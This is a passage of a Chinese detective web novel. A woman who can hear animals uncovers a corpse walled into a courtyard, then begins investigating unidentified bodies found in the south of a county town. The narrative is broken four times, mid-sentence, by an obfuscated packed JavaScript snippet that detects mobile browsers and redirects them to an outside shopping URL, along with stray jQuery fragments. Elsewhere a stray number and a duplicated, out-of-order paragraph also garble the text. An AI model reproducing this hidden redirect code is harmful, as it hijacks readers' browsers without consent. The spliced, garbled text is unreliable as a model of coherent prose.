她想了想,没有停留,转身往巷子东头走去。 刘家的院门紧闭。 穆青青没有敲门。她快速翻到院墙里面,蹲在那截颜色不一样的墙根底下。 夜风吹过来,带着一股若有若无的气味。 很淡,淡到几乎闻不出来。可穆青青的鼻子尖,她闻到了。 那是腐臭的味道。很旧很旧的腐臭,被泥土和年月掩盖了大半,可还是有一丝丝渗出来。 旁人可能会以为就旧猪圈的气味,可穆青青不这么认为。 她伸手摸了摸墙砖。 砖居然是松的! 她犹豫了一下。这毕竟是私闯民宅,不合规矩。可她已经走到这一步了,不可能退回去。 她轻轻一抽,抽出一块砖来。 那股气味猛地浓了起来。 穆青青往后退了一步,借着月光往里看。 墙洞里,有一团黑乎乎的东西。蜷缩着,像是一个人。 她不需要再看第二眼。 她全都知道了。 穆青青没有声张。 她把砖原样塞了回去,站起身,拍了拍手上的土。 夜风吹过来,带着初春的凉意。她在墙根底下站了一会儿,让自己冷静下来。 然后她转身回家。 躺在床上,她睁着眼睛看着天花板,把那堵墙里的东西想了又想。 二十一年了。一个人,被砌在墙里,蜷缩着,没人知道,没人寻找。他的妻子等了他三年,等死了。他的儿女找了二十年,找到梧桐巷,差点杀了无辜的人。 而凶手,就住在那堵墙后面。每天进进出出,吃饭睡觉,过了二十一年。 52. 市井奇谭录 穆青青闭上眼睛。 明天,该有个了断了。 这一夜她没有睡踏实,迷迷糊糊做了几个梦,梦里全是那堵颜色不一样的墙,和墙缝里透出来的腐臭气息。天快亮的时候她醒了,睁着眼睛看着窗纸一点点发白。 她把这几天的事从头到尾又想了一遍。 刘福根,二十一年前突然发了笔财,在老家买了地。那年他正好在县城揽活,借住在张家。也正好是那年,陈大年来张家取银子,然后失踪了。 二十一年后,陈大年的儿女找来梧桐巷。刘福根看见了他们,认出了他们。 陈家两兄妹那眉眼,那神态,和他当年害死的那个人一模一样。他慌了。 他怕他们查出什么。他需要一个替罪羊。 张家是最好的选择。 张家欠陈大年银子,有欠条,有书信。只要让陈实兄妹以为银子是张家藏的,以为张家害死了他们爹,他们就会去找张家报仇。等他们杀了人,官府追查起来,他刘福根就可以高枕无忧了。 于是他写了一张纸条,塞进陈家门缝:“张家后院墙角第三块砖”。 然后他等张家搬走,等院子空了,趁夜把那包银子埋了进去。那是他今年新得的银子,用红绳串好,十五两,不多不少。 他以为陈实兄妹拿到银子就会走。或者拿到银子就会动手。 可他没想到,陈实兄妹拿到银子之后,既没有走,也没有动手。他们在等。 等那个埋银子的人。 而刘福根,可能做贼心虚,可能心有侥幸,他果然去了。 穆青青想到这里,忽然有些感慨。 刘福根聪明了一辈子,算计了一辈子,最后栽在了一对小年轻手里。他以为他们会拿着银子去杀人,却不知道这兄妹俩在仇恨里泡了二十年,早就学会了忍耐。 他们等得起。 天亮了。 穆青青起身,洗漱,换好衣裳,出了门。 她找到赵捕头,把事情从头到尾说了一遍。当然没说玳瑁猫的事,只说有人看见刘老头夜里去张家后院鬼鬼祟祟的,她跟过去看了看,发现刘家那堵墙有问题。 赵捕头听完,沉默了好一会儿。 “你确定?” 穆青青点点头。 赵捕头站起身,往外走。 “走。” 穆青青带着赵捕头和几个衙役,敲开了刘家的门。 刘老头看见外面的阵仗,腿一软,瘫坐在了地上。 赵捕头让人把他看住,自己带人进了院子。 那堵墙很快被推倒了。 墙倒的那一刻,所有人都沉默了。 土坯碎了一地,露出里面的东西:一具骸骨,蜷缩着,姿势扭曲,像是死前挣扎过。骸骨身上还裹着些烂成布片的衣裳,旁边散落着几样东西:一把木匠用的刨子,已经锈得不成样子;一枚铜顶针,绿锈斑斑;还有一对黄杨木梳,木头发黑,可上面刻的字还能看清。 “秀娘”。 陈实和陈秀儿不知什么时候跟来了。他们站在人群外面,隔着几步远,看着那堆土坯里的骸骨。 陈实的手在发抖。陈秀儿的眼泪无声地流了满脸。 没有人说话。 过了很久,陈秀儿忽然冲过去,蹲在那堆骸骨旁边,伸手去够那对木梳。她的手抖得厉害,够了好几下才够到。 她把木梳紧紧攥在手里,放声大哭。 那哭声撕心裂肺,把巷子里的鸟都惊飞了。 刘老头被押走的时候,一句话都没说。 他只是低着头,一步一步,走得很慢。走到巷口的时候,他忽然回头看了一眼,看了一眼那堵已经倒了的墙,看了一眼蹲在墙边的陈秀儿,看了一眼站在人群外面的陈实。 然后他转过头,继续往前走。 穆青青站在巷子里,看着他的背影消失在巷口。 陈实走到她身边,站了很久。 “穆姑娘,”他说,声音沙哑,“那银子……” 穆青青摇摇头。 “那是你爹的工钱。”她说,“凶手藏了二十年,没敢动。今年他看见你们来了,想用那包银子嫁祸给张家,让你们去找张家报仇。” 陈实沉默了一会儿。 “那我们挖出来的那包……” “是新的。”穆青青道,“他今年新埋进去的。他以为你们拿了银子就会走,没想到你们没有走,还在查。” 陈实低下头。 过了很久,他问:“我爹……是怎么死的?” 穆青青没有回答。 有些事,不需要说得太明白。那堵墙里的姿势,说明了一切。 陈大年也挣扎过,反抗过,最后还是被砌进去了。 陈实没有再问。 三天后,陈实兄妹离开了梧桐巷。 走的那天是个晴天,初春的太阳暖洋洋的,照在梧桐巷的青石板路上。 穆青青站在巷口。 陈实背着包袱走过来,在她面前停了一下。 “穆姑娘,”他说,“多谢你。” 穆青青点点头。 陈实走了两步,又停下来,回头道:“那张纸条……到底是谁塞的?” 穆青青沉默了一会儿。 “是刘老头。”她说,“他说他想让你们以为银子是张家藏的,让你们去找张家报仇。等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192479|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们杀了人,官府追查起来,他就可以高枕无忧了。” 陈实愣住了。 “可他没想到,”穆青青道,“你们拿到银子之后,没有走,也没有动手。你们在等。” 陈实低下头,没有说话。 陈秀儿站在他身后,手里捧着那只旧木盒。盒子里是那对木梳,和一张发黄的欠条:那是赵捕头从刘家搜出来的,当年张老先生亲手写的欠条,被刘老头藏了二十年。 她没有回头。 穆青青看着那两道身影渐渐走远,消失在初春的薄雾里。 梧桐巷的日子还在继续。 王娘子依然每天在院里晾衣裳。她晾衣裳的时候喜欢哼小曲,哼得跑调了也不在乎。李掌柜的算盘声从早响到晚,噼里啪啦的,隔着半条巷子都能听见。丁小猴依然在街头巷尾捡他那些“宝贝”,碎瓦片、亮石子、破布头,什么都捡,什么都往兜里塞。 玳瑁猫依然蹲在墙头,黄绿异色的眸子在日光下幽幽发亮。它偶尔会跳下来,在巷子里踱几步,然后又跳上另一堵墙。没人知道它在想什么,也没人知道它要去哪儿。 灰鹦鹉偶尔飞过,偶尔学舌,偶尔在光幕里丢下一两句谁也听不懂的话。有一次它学王娘子哼小曲,学得惟妙惟肖,把王娘子吓了一跳,追着它骂了半条街。 穆青青依然会在夜里打开那道只有她能看见的光幕,听巷子里的猫猫狗狗们说着今日的柴米油盐、家长里短。 玳瑁猫:【今天李掌柜的铺子进了新货,说是绸缎,不知道抓起来手感如何?】 王家芦花鸡:【王娘子今天又跟王铁匠吵架了,为了一个打翻的醋瓶子,吵得满院子鸡飞狗跳。】 墙缝蛐蛐:【巷子东头那户人家空了,新租户还没来,它这几天可以多睡会儿。】 灰鹦鹉:【二十一年——二十一年——】 然后扑棱棱飞走了。 没有人知道它说的二十一年是什么意思。 可穆青青知道。 她关上窗。 窗外,梧桐巷的夜,安静如常。 接下来的日子,丰城县衙格外太平。 一连两个月,连偷鸡摸狗的小案子都没几桩。赵捕头闲得发慌,天天在衙门里转悠,逢人便念叨:“这太平日子,怎么反倒不习惯了?” 穆青青倒乐得清闲。 白天去衙里点个卯,翻翻旧案卷,写写结案文书。傍晚回来,吃过小荷做的晚饭,就坐在窗前写话本。 《市井奇谭录》已经写了两篇。第一篇“狸奴窃铜钱”送去书肆,掌柜看了直拍大腿,说这故事新鲜,肯定受欢迎。果然,刊出来没几天就卖断了货,掌柜催着她写下一篇。 53. 城北疑案(1) 她正写着第二篇“黄仙卖鸡毛”。 那只讲究的黄鼠狼被她写成了一个又精明又讲信义的“黄大掌柜”,整天盘算着怎么用一根鸡毛换十文钱,换来的钱又怎么跟猫学,去小贩那儿换小鱼干吃。 写到黄大掌柜捧着十文钱去换鱼干那段,她自己都忍不住笑出声。 小荷端着茶进来,见她笑得眉眼弯弯,忍不住问:“姑娘,写什么呢这么高兴?” “写那只黄鼠狼。”穆青青接过茶,吹了吹浮沫,“它拿着铜钱去换鱼干,结果人家不认,它急得直作揖。” 小荷乐了:“那后来换到了吗?” “当然换到了。”穆青青道,“那鱼贩子被它拜得心软,给了它一条最小的。” 两人笑了一阵。小荷收了茶碗出去,穆青青继续写。 她笔下的黄大掌柜,最后终于攒够了钱,去杂货铺买了一根真正的鸡毛,不是它自己掉的毛伪装成鸡毛那种,是芦花鸡身上最亮最漂亮的那根。它把那根鸡毛插在洞口,逢人便显摆,得意的不得了。 写完最后一个字,她放下笔,推开窗。 月色正好。院子里的梧桐树已经长出了新叶,嫩绿嫩绿的,在夜风里轻轻晃动。 墙头传来窸窣声。 玳瑁猫跳下来,蹲在窗台上,歪着脑袋看她。 【喵……两脚兽在做什么?】 穆青青笑了笑,从抽屉里摸出半条小鱼干,放在窗台上。 玳瑁猫低头嗅了嗅,小口小口吃起来。 【喵……巷子里新搬来一户。】 穆青青一愣:“什么时候?” 【前天。】玳瑁猫舔舔爪子,【两个大人,带个小人儿,住在之前搬走了的那个院子。】 穆青青沉默了一会儿。 张家那院子空了两个月,终于有人住了。 “什么样的人?” 【喵……男的做小买卖,女的给人浆洗衣裳。小丫头整天蹲在门口玩石子。】 穆青青点点头,没再问。 玳瑁猫吃完鱼干,舔舔嘴,跳下窗台,消失在夜色里。 穆青青望着窗外的月亮,发了会儿呆,然后把窗关上,熄灯睡了。 日子一天天过去,转眼入了夏。 梧桐巷的日子平平静静。王家娘子依旧爱串门,李掌柜的杂货铺依旧早开晚关,赵阿婆依旧坐在门口喂猫。新搬来的那户人家不常出门,只偶尔能看见那小姑娘蹲在门口玩石子,见人就笑,一笑露出两颗缺了的门牙。 穆青青的话本越写越顺手。《市井奇谭录》又添了新篇,讲的都是些鸡毛蒜皮又带点儿玄妙色彩的小事,可读者爱看,连衙门里的同僚都偷偷买来看。赵捕头有一回喝多了,拍着桌子说:“要我说,那些大案要案有什么好看!还是这些小故事有意思,看了有趣,心里还热乎!” 穆青青笑笑,没接话。 她心里知道,这些小故事之所以“热乎”,是因为它们都是真的。 那只偷钱的橘点点,现在还在县衙后院住着,天天跟瓦片抢食吃。 那只讲究的黄鼠狼,偶尔还能在西市口看见,蹲在墙根晒太阳,见人就作揖。 说起往事,穆青青又想起那对兄妹,听说他们回了老家,把爹的尸骨埋到了娘的旁边,两座坟挨着,中间种了一棵槐树。 至于张家。 张茂才秋天要去京城赴考。临走前来过一封信,说李文远答应陪他一起去,两个人路上也好有个照应。信末尾写了一句:等考完,一起去爹坟上磕个头。 穆青青把信收进匣子里,没回。 没什么好回的。人往前走,日子往前过。那些陈年旧事,该了的都了了。 入夏后,穆青青对有件事渐渐上了心。 北城那边,她一直去得少。县衙在南城,办案多在西城和东城,北城多是些老旧的巷子,住的也都是穷苦人家,一年到头也没什么案子报上来。 可这个月,她去北城的次数突然多了起来。 不为别的,只因为那边有家老纸铺,卖一种她从别处找不到的纸:薄韧适中,不洇墨,正适合写话本。 掌柜是个七十多岁的老头,眼睛看不清了,说话也慢吞吞的,可眼光毒得很。头一回见穆青青去买纸,她在纸上试写的时候,他就多看了她两眼,然后慢悠悠道:“姑娘的字,我见过。” 穆青青心里一跳。 老头笑了笑,没再多说,只把纸包好递给她。 后来她再去,老头就不提这茬了,只跟她聊些闲话,说北城这地方,从前如何如何,现在如何如何。 穆青青渐渐喜欢上这条老街。 巷子窄窄的,两边是灰扑扑的土墙,墙根长着青苔。有几棵老榕树,夏天能够遮出一大片阴凉。树下经常有老人聊天,有妇人纳鞋底,有孩童跑来跑去,追逐着一只瘸腿的野猫。 安静,平和,像是一块被时光遗忘的角落。 这天她去买纸,走得比平时早了些。 日头还高着,巷子里却没什么人。聊天的老人还没出来,纳鞋底的妇人也还没来。只有几只麻雀在地上蹦跳,叽叽喳喳,不知在吵什么。 穆青青放慢脚步,顺着巷子往里走。 走到那棵最大的槐树下时,她忽然听见一阵细细的声音。 是从墙根传来的。 她低头一看,墙根有个洞,黑黢黢的,不知有多深。洞口蹲着两只灰老鼠,正叽叽咕咕地说着什么。 光幕忽然亮了。 【北城老街·槐树下(当前在线:2)】 灰老鼠甲:【吱吱!你昨儿晚上去哪儿了?我等了半宿!】 灰老鼠乙:【吱!西边!西边那个院子!有好多好吃的!】 灰老鼠甲:【好吃的?有什么?】 灰老鼠乙:【吱吱!肉!好多肉!】 灰老鼠甲:【吱?!肉?你确定?】 灰老鼠乙:【吱!真的!不过那肉味儿有点怪,以前没吃过,不知道是什么肉!】 灰老鼠甲:【什么肉我们还没吃过?猫肉我们都吃过!】 灰老鼠乙:【吱吱!真的没吃过!不过有见过世面的老鼠说,可能是人肉!】 穆青青脚步一顿。 她站在槐树下,看着那两只老鼠钻回洞里,消失在黑暗中。 她693.慢慢收回目光,往纸铺走去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197105|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 纸铺的老头正在打盹,听见脚步声,睁开眼,慢悠悠道:“姑娘今天来得早。” 穆青青点点头,挑了纸,付了钱。 走出铺子时,她又回头看了一眼那条巷子。 巷子还是那么安静。老槐树还是那么绿。 穆青青收回目光,往巷子外走去。 她没有回头,可那两只老鼠的话,一直在她脑子里转。 西边有个院子,里面可能有人肉。 穆青青站在槐树下,看着那两只灰老鼠钻回洞里,消失在黑暗中。 阳光还是一样的阳光,树影还是一样的树影。巷子里安安静静,连麻雀都不叫了。 她慢慢收回目光,往纸铺走去。买了纸,付了钱,和老头聊了几句闲话,然后原路返回。 走出巷口时,她又回头看了一眼。 北城还是那个北城。破旧,安静,像一块被时光遗忘的角落。 可穆青青知道,有些角落,藏着不该被遗忘的东西。 “西边有个院子,里面可能有人肉。” 这句话像一根刺,扎在她脑子里,拔不出来。 老鼠的话当然不能当证据。可老鼠的鼻子,比人的可靠得多。它们说“可能是人肉”,那地方十有八九真的出过事。 问题是,哪个院子?西边是哪边?那条老街往西,少说有二三十户人家,有住人的,有废弃的,有改作仓库的。总不能一家一家敲门问“你家院子里有没有埋过人”。 穆青青花了三天时间,把那条老街走了一遍。 白天走,傍晚走,有一次夜里也去过。她记下了每一户的位置、朝向、有没有人住、住的是什么人。记满了两页纸,圈出了三个可疑的院子。 第一个院子,在巷子最里头,紧挨着一片荒废的空地。院墙很高,门锁着,门环上落了厚厚的灰。邻居说这院子空了七八年,主人早搬走了,一直没人管。 第二个院子,在巷子中段,是个卖杂货的小铺子。铺子不大,后院住着一家四口,日子过得紧巴巴的。穆青青进去买过一回盐,趁机和老板娘聊了几句。老板娘话多,什么都往外说,唯独问她家后院有没有井的时候,她愣了一下,然后笑着说“没有没有”。 那个笑,笑得有点僵。 第三个院子,最让穆青青在意。 那是个独门独户的小院,离巷口不远,院墙比别家都高。门口种着一棵槐树,枝叶繁茂,遮出一大片阴凉。树下的墙根,有个洞。 穆青青第一次路过时,光幕忽然闪了一下。 【北城老街·槐树下(当前在线:3)】 灰老鼠甲:【吱吱!那个两脚兽又来了!】 灰老鼠乙:【吱!她蹲在那儿看咱们!】 墙缝蛐蛐:【瞿瞿!别慌别慌,她看不见咱们!】 穆青青没蹲下,也没往洞口看。她只是放慢脚步,用余光扫了一眼。 那个洞口很隐蔽,被杂草挡着。如果不是光幕提示,她根本不会注意到。 她若无其事地走过去,在拐角处站了一会儿,然后转身往回走。 走到那棵槐树下时,她停了一下,蹲下身,假装整理衣襟。 54. 城北疑案(2) 洞里传来窸窸窣窣的声响。 光幕又亮了。 灰老鼠甲:【吱吱!她又停了!】 灰老鼠乙:【吱!她想干什么?】 灰老鼠甲:【吱吱!别慌,咱们往深处躲!她进不来的!】 穆青青站起身,继续往前走。走出十几步,她回头看了一眼那院子。 院门虚掩着,门缝里透出一点光。有人在。 她想了想,没有敲门,直接回了县衙。 第二天,她调了那户人家的户籍档案。 户主叫孙福贵,五十三岁,鳏夫,独居。原籍临县,十五年前搬来丰城,在北城老街开了个修鞋铺。档案上记着,他有个儿子,早年夭折了,之后一直独身。 穆青青盯着“独居”那两个字看了很久。 她把档案放下,起身去了赵捕头那儿。 “赵捕头,北城那户人家,孙福贵,你认识吗?” 赵捕头想了想:“修鞋那个?认识,手艺不错。怎么了?” “他那人怎么样?” “看着是个老实人。”赵捕头道,“他不怎么爱说话。一年到头除了修鞋,就在他那院子里待着。街坊都说他本分,从不招惹是非。” 穆青青点点头,没再问。 老实人,不爱招惹是非。这样的词,她听过太多回。 可惜,她住的梧桐巷离北城太远,聊天光幕里并没有北城小动物的心声。 于是第二天傍晚,她又去了北城。 这次她没有往巷子里走,而是绕到了那条老街后面。那里有一片荒地,长满了野草和灌木。从荒地往里看,能隐约看见几户人家的后院。 孙福贵家的后院,是第三个。 院墙比前院更高,灰扑扑的,顶上插着碎玻璃。后门紧锁着,门上的漆都剥落了。墙角堆着些杂物:破木箱、烂竹筐、几根烂木条。 穆青青蹲在草丛里,看了很久。 什么都没有。 那面墙看起来很普通,和周围人家的没什么两样。墙角也没有新翻土的痕迹,一切都正常得不能再正常。 天快黑了,她站起身,往回走。 走出荒地时,她忽然想起一件事。 光幕里那两只老鼠今天都没吱声,不知道那“肉”,它们是不是已经吃完了? 那“肉”,到底是不是人肉? 穆青青不知道。 她只知道,这件事她必须查下去;不查下去她心不安。 所以之后三天,每天穆青青都抽空去城北逛一圈,有几次她还带了大黑一起,可惜,没找到任何线索。 第四天的时候,穆青青就没去城北了,因为城南有人报案,说在河边发现一具尸体。 穆青青和赵捕头赶到时,尸体已经被捞了上来,搁在河滩上,盖着一张破草席。周围围了一圈看热闹的人,指指点点,七嘴八舌。 “这是谁啊?” “不认识,面生。” “看着像外地来的。” 赵捕头掀开草席,看了一眼,又盖上了。 穆青青站在旁边也看了一眼,发现死者是个中年男人,身材敦实,穿着粗布衣服。脸已经泡得发胀,看不清原本的模样。 但她注意到死者露在草席外的手上没有茧,应该不是个干力气活的。 仵作的验尸结果当天晚上出来的。 死者男性,四十岁上下,死亡时间约在五到七天前。身上没有明显外伤,但肺部积水,初步判断是溺亡。 仵作验尸的时候,穆青青就守在尸体旁边。她把那身湿透的衣裳仔细看了一遍。 衣裳料子普通,是市面上常见的粗布。针脚很密,缝得结实,像是成衣铺子的手艺。衣裳内侧有个小口袋,空空如也。 她翻开衣裳下摆,在夹层里摸到一点东西。 是一小块纸片,湿透了,烂得不成样子。她小心地把它取出来,放在证物袋里。 回到县衙,她把纸片摊开,用镊子慢慢展开。 纸片上只有几个字,墨迹已经洇得看不清了。她对着光看了很久,勉强认出其中一个字: “张”。 还有一个偏旁,像是“辶”。 张?还是别的什么? 她把纸片收好,开始翻案卷。 城南河边发现无名男尸,没有身份证明,没有人报案失踪。 死者身上没有任何能证明身份的东西,没有路引,没有银钱,没有随身物品。 这种人,要么是外地来的流民,要么是身上的东西都被人收走了。 穆青青更倾向于第二种。 她想起死者手上的皮肤。 那双手虽然泡胀了,但能看出原本的轮廓:手指修长,指节分明,指甲修剪得整齐。不是干粗活的,应该也不是读书人(没有茧),那会是什么人? 小贩?账房?走街串巷的手艺人? 都有可能,又都不像。 她把案卷合上,靠在椅背上,闭上眼睛。 光幕忽然亮了。 【县衙夜话(当前在线:4)】 大黑:【汪汪!本汪最近去了几次以前没去过的地方,】 瓦片:【喵……难怪你身上多了些陌生的味儿。】 橘点点:【喵呜!味儿不好闻!你去哪里了?】 大黑:【汪汪!我怎么闻不到?我和搬走的了那个两脚兽去了城北。】 瓦片:【喵……本喵不去城北,那边野猫太多,打架打不过。】 橘点点:【喵呜!城北?我认识一只瘸腿猫,它的腿就是打架打瘸的!】 穆青青听了半天,也没听到什么有用的线索,于是又把心思转回到卷宗上来。 死者身份不明,死因不明,没有任何人能提供任何信息。穆青青把那块烂纸片反复看了无数遍,也只认出了那个“张”字和一个疑似“辶”的偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204436|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁。 她把可能的字列了一串:张、连、运、过、还…… 可能的字太多了,没什么用。 无人认领的尸体只能暂时存放在义庄。 穆青青隔几天就去一趟,每次去都把那身湿衣裳翻一遍,希望能找到新的线索。 可什么都没有。 她开始怀疑自己的判断。也许真的只是个意外溺亡的流民? 正毫无进展的时候,赵捕头那里又接到一个城南的案子。 “青青,城南又出事了!” 穆青青抬起头。 “又有人淹死了?” “不是淹死。”赵捕头抹了把汗,“是有人被发现死在巷子里了!在黄水巷,就是离上次河边不远的那条巷子!” 穆青青站起身,抓起腰牌就往外走。 黄水巷是一条窄巷,穆青青和赵捕头赶到时,巷子两头已经围了人,叽叽喳喳议论着。 赵捕头拨开人群,引着穆青青往里走。 死者是个男人,倒在一户人家的后门边。 他穿着灰布长衫,脸朝下趴着,后脑勺有一道很深的伤口,血已经凝成黑褐色。 仵作正在检查,见他们来了,站起身道:“死了大概四个时辰左右。后脑勺被重物击打,应该是致命伤。身上没有其他外伤,财物……”他翻了翻死者的衣襟,“空无一物。” 穆青青蹲下身,把死者翻过来。 那张脸她没见过。四十来岁,瘦削,留着短须。手上有薄茧,看着像是常年握笔留下的。 又是没有身份证明的人? 她翻看死者的衣裳。灰布长衫,料子一般,做工也一般。衣襟内侧缝着一个小口袋,也是空的。 她皱了皱眉。 这个死者的情况怎么和上次淹死的那个死者的情况如此相似? 都是中年男人,都没有身份证明,都没有随身财物。 唯一不同的是,上次那个是淹死,这个是被打死。 穆青青站起身,对赵捕头道:“麻烦赵捕头你带人把附近都问一遍,看看有没有人认识他。” 赵捕头应了,带着人挨家挨户问。 穆青青站在原地,把那具尸体又看了一遍。 这个人是被人从背后偷袭的,对方一棍子打在他后脑勺上,打得又狠又准。然后把他身上搜了一遍,拿走了所有东西,扔下他就跑了。 为什么? 图财?灭口? 她想起上次那块烂纸片上的“张”字。甚至还想起了城北那只老鼠说的“可能是人肉”。 一个念头忽然冒了出来。 这两个人,会不会是同一个地方来的? 一个淹死在河边,一个被打死在巷子里。他们身上都没有身份证明,都没有随身财物,像是被人刻意清除了所有痕迹。 穆青青站在巷子里,看着天边渐渐暗下去。 她需要一个突破口。 55. 城北疑案(3) 第三天了。 穆青青把验尸记录和现场勘绘图摊在桌上,看了整整一个下午,还是没什么进展。 两个死者,一个溺亡,一个被击打致死。一个在河边,一个在巷子里。一个四十上下,一个四十出头。一个手上无茧,一个手上有薄茧。共同点:都没有身份证明,都没有随身财物,都在城南。 她把那张烂纸片又拿出来看了一遍。那个“张”字已经干透了,墨迹反而更淡了些。旁边的偏旁,她反复辨认了无数次,依然只能看出是个“辶”。 张连?张运?张过?还是…… 她叹了口气,把纸片收好,起身走到窗边。 窗外,梧桐巷的黄昏一如既往。 远处传来几声狗叫,混着炊烟的气息,一切都那么平静。 可穆青青脑子里,却怎么也平静不下来。 那两个死者,到底是谁?他们从哪儿来?为什么会死在这里?彼此之间有没有关系? 她忽然想起一件事,好几天没去城北了。 自从上次听老鼠们说起“人肉”那件事,她跑了几趟,后来案子忙起来就搁下了。如今正好没有头绪,不如再去转转吧。 第二天一早,穆青青换了身寻常的衣裳,往城北走去。 老槐树依旧,巷子还是那么安静。墙根那个洞还在,黑黢黢的。 她蹲了一会儿,洞里果然传来窸窸窣窣的声响。 光幕亮了。 【城北老街·槐树下(当前在线:4)】 灰老鼠甲:【吱吱!那个两脚兽又来了!】 灰老鼠乙:【吱!她还挺勤快,隔几天就来一趟。】 灰老鼠丙:【吱吱吱?哪个?让我看看!】 穆青青看着那三行字,犹豫了一下,试探着用意念发了一句: 【你们好,是我。】 光幕安静了几秒。 灰老鼠甲:【吱吱吱!谁在说话?!】 灰老鼠乙:【吱吱吱!吓死鼠了!】 灰老鼠丙:【吱!是她!那个两脚兽在说话!】 灰老鼠甲:【吱!不可能!两脚兽怎么会说我们的话!】 穆青青:【我真的能听懂。我想问你们一件事。】 灰老鼠丙好奇地探出半个脑袋,黑豆似的眼睛盯着穆青青看了一会儿,又缩回去了。 灰老鼠丙:【吱……你想问什么?】 穆青青:【上次你们说的那个“肉”,后来怎么样了?】 灰老鼠丙沉默了一会儿,吱了一声:【吱……还没吃到就被两脚兽扔了……】 穆青青心头一跳:【扔了?扔哪儿了?】 灰老鼠丙:【吱!扔河里了!我知道,扔河里了。】 穆青青:【什么时候扔的?你们怎么知道的?】 灰老鼠丙:【吱!我二舅姥爷家住在城东,他家三表哥那天晚上出去找吃的,亲眼看见的!】 穆青青:【城东?你二舅姥爷家三表哥?】 灰老鼠丙:【吱!对啊!我们鼠鼠啊亲戚多,到处都有。城东、城南、城北,都有我们的人。我二舅姥爷家三表哥就住在城东一条巷子里,离这儿不算太远。】 穆青青心里一动。 老鼠的亲戚网络,比她想的大得多。 【他看见什么了?】 灰老鼠丙:【吱!那天晚上,月亮正好在头顶上,很亮。他刚钻出洞找吃的,就看见一个两脚兽扛着个大麻袋,鬼鬼祟祟往南走。他好奇,就跟了一段,看见那人走到一条河边,把麻袋里的东西倒进水里。他说那东西在水里漂着,看着像一大块肉。】 穆青青的心跳快了起来。 【他看见那人把肉倒进河里的地方,在哪儿?有什么特别的东西吗?】 灰老鼠丙想了想:【吱……我二舅姥爷家三表哥说,那条河边有很多大石头,堆得老高,还有一棵歪脖子树,树底下有个大洞。他怕被发现,就躲在那洞里看了一会儿。】 很多大石头,歪脖子树。 穆青青脑子里“嗡”的一声。 城南那片乱石滩。 就是发现第一具尸体的地方。 【你二舅姥爷家三表哥看见那人是什么时候回来的?】 灰老鼠丙:【吱……他没一直跟着,不敢跟太近。不过他说,那人往回走的时候,月亮已经偏西了,快到那边的房顶了。】 月亮偏西到房顶,那是丑时末寅时初。 子时出门,丑时末寅时初回来,来回大概两个时辰。 从城北到城南河边,来回两个时辰,正好对得上。 可穆青青心里却升起一个疑问。 为什么要走这么远? 城北也有河,往北走不远就是河边。为什么要扛着东西走两个时辰,跑到城南去扔? 丰城县地理位置有点特殊,流经县城的那条河,地图上看的话就是从下到上贯穿了整个县城。 而城南在河的上游,城北在下游。 如果他把尸体扔在城南,被人发现时,大家自然会以为尸体是从更上游的地方漂下来的,不会怀疑到城北的人。 穆青青又问:【那个扛着肉的两脚兽,你们能认出是谁吗?】 灰老鼠丙:【吱……认不出。我二舅姥爷家三表哥说,那人扛着东西走了一路,天黑看不清脸。而且那人身上有股怪味儿,像是用什么药草熏过,闻不出本来的气味。】 穆青青愣住了。 身上有怪味儿,用药草熏过,这是刻意处理过,怕被人或动物循着味儿找到。 【那他长什么样?有什么特征吗?】 灰老鼠丙想了很久:【吱……我二舅姥爷家三表哥说,那人个子挺高的,肩膀很宽,走得很快,一点儿也不费力的样子。】 个子高,肩膀宽,走得快,不费力。 穆青青听到这里,便知道自己之前最怀疑的刘福根多半不可能是凶手了。 五六十岁的刘福根,身体不好,不可能扛着尸体走两个时辰。 【那人把肉扔在河里的什么地方?是深水还是浅水?】 灰老鼠丙:【吱!我二舅姥爷家三表哥说,那人没往深水里扔,就扔在河边浅水处。肉扔进去,有一半都露在河水外面。】 穆青青心头猛地一震。 河边浅水处。 不是深水,是浅水。 如果他是想把尸体冲走,应该往深水里扔才对。扔在浅水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210152|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处,尸体第二天就会被发现。 他为什么要这么做? 除非,他根本就不是想让尸体消失。 他是想让尸体被人发现。 在城南被人发现。 